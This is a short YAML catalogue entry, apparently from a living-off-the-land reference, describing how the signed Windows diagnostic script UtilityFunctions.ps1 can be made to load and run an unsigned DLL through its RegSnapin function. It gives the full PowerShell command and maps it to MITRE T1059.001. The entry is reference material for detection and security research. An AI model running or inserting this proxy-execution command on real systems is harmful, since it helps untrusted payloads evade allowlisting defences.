--- Name: UtilityFunctions.ps1 Description: PowerShell Diagnostic Script Author: Jimmy (@bohops) Created: 2021-09-26 Commands: - Command: 'powershell.exe -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()”' Description: Proxy execute Managed DLL with PowerShell Usecase: Execute proxied payload with Microsoft signed binary Category: Execute Privileges: User MitreID: T1059.001 MitreLink: https://attack.mitre.org/techniques/T1059/001/ OperatingSystem: Windows 10 21H1 (likely other versions as well) Full_Path: - Path: C:\Windows\diagnostics\system\Networking\UtilityFunctions.ps1 Code_Sample: - Code: Detection: - IOC: Resources: - Link: https://twitter.com/nickvangilder/status/1441003666274668546 Acknowledgement: - Person: Nick VanGilder Handle: '@nickvangilder' ---